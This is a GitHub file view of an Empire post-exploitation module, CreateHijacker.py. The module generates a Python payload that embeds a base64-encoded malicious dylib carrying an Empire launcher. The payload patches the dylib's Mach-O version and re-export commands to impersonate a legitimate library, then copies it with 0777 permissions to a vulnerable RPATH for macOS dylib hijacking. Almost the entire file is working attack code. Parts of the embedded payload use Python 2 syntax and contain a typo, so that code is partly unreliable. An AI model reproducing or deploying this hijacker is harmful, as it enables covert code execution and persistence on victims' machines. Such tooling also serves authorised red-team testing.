forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 589
/
Copy pathCreateHijacker.py
478 lines (339 loc) · 13.9 KB
/
CreateHijacker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
import base64
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.string_util import removeprefix, removesuffix
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> tuple[str | None, str | None]:
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output
# everything to the pipeline for proper parsing.
#
# the script should be stripped of comments, with a link to any
# original reference script included in the comments.
listener_name = params["Listener"]
user_agent = params["UserAgent"]
safe_checks = params["SafeChecks"]
arch = params["Arch"]
launcher = main_menu.stagers.generate_launcher(
listener_name,
language="python",
userAgent=user_agent,
safeChecks=safe_checks,
)
launcher = removeprefix(launcher, "echo ")
launcher = removesuffix(launcher, " | python3 &")
launcher = launcher.strip('"')
dylib_bytes = main_menu.stagers.generate_dylib(
launcherCode=launcher, arch=arch, hijacker="true"
)
encoded_dylib = base64.b64encode(dylib_bytes)
dylib = params["LegitimateDylibPath"]
vrpath = params["VulnerableRPATH"]
return f"""
from ctypes import *
def run(attackerDYLIB):
import ctypes
import io
import os
import sys
import fcntl
import shutil
import struct
import stat
LC_REQ_DYLD = 0x80000000
LC_LOAD_WEAK_DYLIB = LC_REQ_DYLD | 0x18
LC_RPATH = (0x1c | LC_REQ_DYLD)
LC_REEXPORT_DYLIB = 0x1f | LC_REQ_DYLD
(
LC_SEGMENT, LC_SYMTAB, LC_SYMSEG, LC_THREAD, LC_UNIXTHREAD, LC_LOADFVMLIB,
LC_IDFVMLIB, LC_IDENT, LC_FVMFILE, LC_PREPAGE, LC_DYSYMTAB, LC_LOAD_DYLIB,
LC_ID_DYLIB, LC_LOAD_DYLINKER, LC_ID_DYLINKER, LC_PREBOUND_DYLIB,
LC_ROUTINES, LC_SUB_FRAMEWORK, LC_SUB_UMBRELLA, LC_SUB_CLIENT,
LC_SUB_LIBRARY, LC_TWOLEVEL_HINTS, LC_PREBIND_CKSUM
) = range(0x1, 0x18)
MH_MAGIC = 0xfeedface
MH_CIGAM = 0xcefaedfe
MH_MAGIC_64 = 0xfeedfacf
MH_CIGAM_64 = 0xcffaedfe
_CPU_ARCH_ABI64 = 0x01000000
CPU_TYPE_NAMES = {{
-1: 'ANY',
1: 'VAX',
6: 'MC680x0',
7: 'i386',
_CPU_ARCH_ABI64 | 7: 'x86_64',
8: 'MIPS',
10: 'MC98000',
11: 'HPPA',
12: 'ARM',
13: 'MC88000',
14: 'SPARC',
15: 'i860',
16: 'Alpha',
18: 'PowerPC',
_CPU_ARCH_ABI64 | 18: 'PowerPC64',
}}
#structs that we need
class mach_header(ctypes.Structure):
_fields_ = [
("magic", ctypes.c_uint),
("cputype", ctypes.c_uint),
("cpusubtype", ctypes.c_uint),
("filetype", ctypes.c_uint),
("ncmds", ctypes.c_uint),
("sizeofcmds", ctypes.c_uint),
("flags", ctypes.c_uint)
]
class mach_header_64(ctypes.Structure):
_fields_ = mach_header._fields_ + [('reserved',ctypes.c_uint)]
class load_command(ctypes.Structure):
_fields_ = [
("cmd", ctypes.c_uint),
("cmdsize", ctypes.c_uint)
]
LC_HEADER_SIZE = 0x8
def checkPrereqs(attackerDYLIB, targetDYLIB):
if not os.path.exists(attackerDYLIB):
print('ERROR: dylib \\'%s\\' not found' % (attackerDYLIB))
return False
if not os.path.exists(targetDYLIB):
print('ERROR: dylib \\'%s\\' not found' % (targetDYLIB))
return False
attacker = open(attackerDYLIB)
target = open(targetDYLIB)
attackerHeader = mach_header.from_buffer_copy(attacker.read(28))
targetHeader = mach_header.from_buffer_copy(target.read(28))
if attackerHeader.cputype != targetHeader.cputype:
print('ERROR: Architecture mismatch')
attacker.close()
target.close()
return False
return True
def findLoadCommand(fileHandle, targetLoadCommand):
MACHHEADERSZ64 = 32
MACHHEADERSZ = 28
matchedOffsets = []
#wrap
try:
header = mach_header.from_buffer_copy(fileHandle.read(MACHHEADERSZ))
if header.magic == MH_MAGIC_64:
fileHandle.seek(0, io.SEEK_SET)
header = mach_header_64.from_buffer_copy(fileHandle.read(MACHHEADERSZ64))
ncmds = header.ncmds
# Get to the load commands
current = fileHandle.tell() #save offset to load command
for cmd in range(ncmds):
offset = current
lc = load_command.from_buffer_copy(fileHandle.read(LC_HEADER_SIZE))
size = lc.cmdsize
if lc.cmd == targetLoadCommand:
matchedOffsets.append(offset)
fileHandle.seek(size - LC_HEADER_SIZE, io.SEEK_CUR)
current = fileHandle.tell()
#exceptions
except Exception, e:
#err msg
print('EXCEPTION (finding load commands): %s' % e)
#reset
matchedOffsets = None
return matchedOffsets
#configure version info
# 1) find/extract version info from target .dylib
# 2) find/update version info from hijacker .dylib to match target .dylib
def configureVersions(attackerDYLIB, targetDYLIB):
#wrap
try:
#dbg msg
print(' [+] parsing \\'%s\\' to extract version info' % (os.path.split(targetDYLIB)[1])_
#open target .dylib
fileHandle = open(targetDYLIB, 'rb')
#find LC_ID_DYLIB load command
# ->and check
versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB)
if not versionOffsets or not len(versionOffsets):
#err msg
print('ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %s' % (os.path.split(targetDYLIB)[1]))
#bail
return False
#dbg msg
print(' found \\'LC_ID_DYLIB\\' load command at offset(s): %s' % (versionOffsets))
#seek to offset of LC_ID_DYLIB
fileHandle.seek(versionOffsets[0], io.SEEK_SET)
#seek to skip over LC header and timestamp
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
'''
struct dylib {{ union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }};
'''
#extract current version
currentVersion = fileHandle.read(4)
#extract compatibility version
compatibilityVersion = fileHandle.read(4)
#dbg msg(s)
print(' extracted current version: 0x%x' % (struct.unpack('<L', currentVersion)[0]))
print(' extracted compatibility version: 0x%x' % (struct.unpack('<L', compatibilityVersion)[0]))
#close
fileHandle.close()
#dbg msg
print(' [+] parsing \\'%s\\' to find version info' % (os.path.split(attackerDYLIB)[1]))
#open target .dylib
fileHandle = open(attackerDYLIB, 'rb+')
#find LC_ID_DYLIB load command
# ->and check
versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB)
if not versionOffsets or not len(versionOffsets):
#err msg
print('ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %s' % (os.path.split(attackerDYLIB)[1]))
#bail
return False
#dbg msg(s)
print(' found \\'LC_ID_DYLIB\\' load command at offset(s): %s' % (versionOffsets))
print(' [+] updating version info in %s to match %s' % ((os.path.split(attackerDYLIB)[1]), (os.path.split(targetDYLIB)[1])))
#update version info
for versionOffset in versionOffsets:
#seek to offset of LC_ID_DYLIB
fileHandle.seek(versionOffset, io.SEEK_SET)
#seek to skip over LC header and timestamp
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
#dbg msg
print('setting version info at offset %s' % (versionOffset))
#set current version
fileHandle.write(currentVersion)
#set compatability version
fileHandle.write(compatibilityVersion)
#close
fileHandle.close()
except Exception, e:
#err msg
print('EXCEPTION (configuring version info): %s' % e)
return True
#configure re-export
# ->update hijacker .dylib to re-export everything to target .dylib
def configureReExport(attackerDYLIB, targetDYLIB):
#wrap
try:
#dbg msg
print(' [+] parsing \\'%s\\' to extract faux re-export info' % (os.path.split(attackerDYLIB)[1]))
#open attacker's .dylib
fileHandle = open(attackerDYLIB, 'rb+')
#find LC_REEXPORT_DYLIB load command
# ->and check
reExportOffsets = findLoadCommand(fileHandle, LC_REEXPORT_DYLIB)
if not reExportOffsets or not len(reExportOffsets):
#err msg
print('ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %s' % (os.path.split(attackerDYLIB)[1]))
#bail
return False
#dbg msg
print(' found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %s' % (reExportOffsets))
'''
struct dylib {{ union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }};
'''
#update re-export info
#TODO: does the current and compat version need to match? we can easily set it
for reExportOffset in reExportOffsets:
#seek to offset of LC_REEXPORT_DYLIB
fileHandle.seek(reExportOffset, io.SEEK_SET)
#seek to skip over command
fileHandle.seek(0x4, io.SEEK_CUR)
#read in size of load command
commandSize = struct.unpack('<L', fileHandle.read(4))[0]
#dbg msg
print(' extracted LC command size: 0x%x' % (commandSize))
#read in path offset
pathOffset = struct.unpack('<L', fileHandle.read(4))[0]
#dbg msg
print(' extracted path offset: 0x%x' % (pathOffset))
#seek to path offset
fileHandle.seek(reExportOffset + pathOffset, io.SEEK_SET)
#calc length of path
# it makes up rest of load command data
pathSize = commandSize - (fileHandle.tell() - reExportOffset)
#dbg msg
print(' computed path size: 0x%x' % (pathSize))
#read out path
data = targetDYLIB + '\\0' * (pathSize - len(targetDYLIB))
fileHandle.write(data)
#path can include NULLs so lets chop those off
#path = path.rstrip('\0')
#dbg msg(s)
#print ' extracted faux path: %s' % (path)
#close
fileHandle.close()
#dbg msg
print(' [+] updated embedded re-export')
#wrap
#handle exceptions
except Exception, e:
#err msg
print('EXCEPTION (configuring re-exports): %s' % e)
#bail
return False
return True
def configure(attackerDYLIB, targetDYLIB):
#configure version info
# ->update attacker's .dylib to match target .dylib's version info
if not configureVersions(attackerDYLIB, targetDYLIB):
#err msg
print('ERROR: failed to configure version info')
#bail
return False
#configure re-export
# ->update attacker's .dylib to re-export everything to target .dylib
if not configureReExport(attackerDYLIB, targetDYLIB):
#err msg
print('ERROR: failed to configure re-export')
#bail
return False
return True
#target .dylib
targetDYLIB = "{dylib}"
vrpath = "{vrpath}"
#configured .dylib
configuredDYLIB = ""
#init output path for configured .dylib
configuredDYLIB = os.path.split(attackerDYLIB)[0]+'/' + os.path.split(targetDYLIB)[1]
#dbg msg
print(' [+] configuring %s to hijack %s' % (os.path.split(attackerDYLIB)[1], os.path.split(targetDYLIB)[1]))
#check prereqs
# ->i.e. sanity checks
if not checkPrereqs(attackerDYLIB, targetDYLIB):
#err msg
print('ERROR: prerequisite check failed\\n')
#bail
return ""
#configure the provide .dylib
if not configure(attackerDYLIB, targetDYLIB):
#err msg
print('ERROR: failed to configure %s\\n' % (os.path.split(targetDYLIB)[1]))
#bail
return ""
#dbg msg
print(' [+] copying configured .dylib to %s' % (configuredDYLIB))
#make a (local) copy w/ name
shutil.copy2(attackerDYLIB, configuredDYLIB)
os.remove(attackerDYLIB)
if not os.path.exists(os.path.split(vrpath)[0]):
os.makedirs(os.path.split(vrpath)[0])
os.chmod(configuredDYLIB, 0777)
shutil.copy2(configuredDYLIB, vrpath)
os.remove(configuredDYLIB)
#dbg msg
print('\\nHijacker created, renamed to %s, and copied to %s' % (configuredDYLIB,vrpath))
import base64
import uuid
encbytes = "{encoded_dylib}"
filename = str(uuid.uuid4())
path = "/tmp/" + filename + ".dylib"
decodedDylib = base64.b64decode(encbytes)
temp = open(path,'wb')
temp.write(decodedDylib)
temp.close()
run(path)
"""